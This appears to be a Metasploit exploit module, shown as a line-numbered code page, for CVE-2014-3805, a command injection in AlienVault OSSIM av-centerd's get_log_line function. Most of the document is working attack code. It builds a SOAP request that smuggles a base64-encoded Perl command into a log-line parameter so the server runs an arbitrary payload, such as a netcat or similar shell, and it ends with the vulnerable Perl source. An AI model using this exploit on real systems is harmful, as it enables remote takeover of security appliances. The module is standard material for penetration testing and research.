1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 |
require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'Alienvault OSSIM av-centerd Command Injection get_log_line', 'Description' => %q{ This module exploits a command injection flaw found in the get_log_line function found within Util.pm. The vulnerability is triggered due to an unsanitized $r_file parameter passed to a string which is then executed by the system }, 'Author' => [ 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-3805' ], [ 'OSVDB', '107992' ] ], 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'SSL' => true, }, 'Payload' => { 'Compat' => { 'RequiredCmd' => 'perl netcat-e openssl python gawk' } }, 'DefaultTarget' => 0, 'Targets' => [ ['Alienvault <= 4.7.0',{}] ], 'DisclosureDate' => 'Jul 18 2014')) register_options([Opt::RPORT(40007)], self.class) end def check version = "" res = send_soap_request("get_dpkg") if res && res.code == 200 && res.headers['SOAPServer'] && res.headers['SOAPServer'] =~ /SOAP::Lite/ && res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/ version = $1 end if version.empty? || version >= "4.7.0" return Exploit::CheckCode::Safe else return Exploit::CheckCode::Appears end end def build_soap_request(method) xml = Document.new xml.add_element( "soap:Envelope", { "xmlns:xsi" => "http://www.w3.org/2001/XMLSchema-instance", "xmlns:soapenc" => "http://schemas.xmlsoap.org/soap/encoding/", "xmlns:xsd" => "http://www.w3.org/2001/XMLSchema", "soap:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/", "xmlns:soap" => "http://schemas.xmlsoap.org/soap/envelope/" }) body = xml.root.add_element("soap:Body") m = body.add_element(method, { 'xmlns' => "AV/CC/Util" }) args = [] args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'}) args[0].text = "All" args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'}) args[1].text = "423d7bea-cfbc-f7ea-fe52-272ff7ede3d2" args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'}) args[2].text = "#{datastore['RHOST']}" args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'}) args[3].text = "#{rand_text_alpha(4 + rand(4))}" args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'}) args[4].text = "/var/log/auth.log" args[5] = m.add_element("c-gensym13", {'xsi:type' => 'xsd:string'}) perl_payload ="system(decode_base64" perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))" args[5].text = "1;perl -MMIME::Base64 -e '#{perl_payload}';" xml.to_s end def send_soap_request(method, timeout=20) soap = build_soap_request(method) res = send_request_cgi({ 'uri' => '/av-centerd', 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => soap, 'headers' => { 'SOAPAction' => "\"AV/CC/Util##{method}\"" } }, timeout) res end def exploit send_soap_request("get_log_line", 1) end end __END__ /usr/share/alienvault-center/lib/AV/CC/Util.pm sub get_log_line { my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname, $r_file, $number_lines ) = @_; verbose_log_file( "GET LOG LINE: Received call from $uuid : ip source = $admin_ip, hostname = $hostname :($funcion_llamada,$r_file)" ); my @ret = ("$systemuuid"); if ( $r_file =~ /\.\./ ){ push(@ret,"File not auth"); return \@ret; } if ( $number_lines <= 0) { push(@ret,"Error in number lines"); return \@ret; } if (( $r_file =~ /^\/var\/log\// ) or ( $r_file =~ /^\/var\/ossec\/alerts\// ) or ( $r_file =~ /^\/var\/ossec\/logs\// )){ if (! -f "$r_file" ){ push(@ret,"File not found"); return \@ret; } push(@ret,"ready"); my $command = "tail -$number_lines $r_file"; #push(@ret,"$command"); #my @content = <code>tail -$number_lines $r_file</code>; my @content = <code>$command</code>; push(@ret,@content); return \@ret; } else { push(@ret,"path not auth"); return \@ret; } } |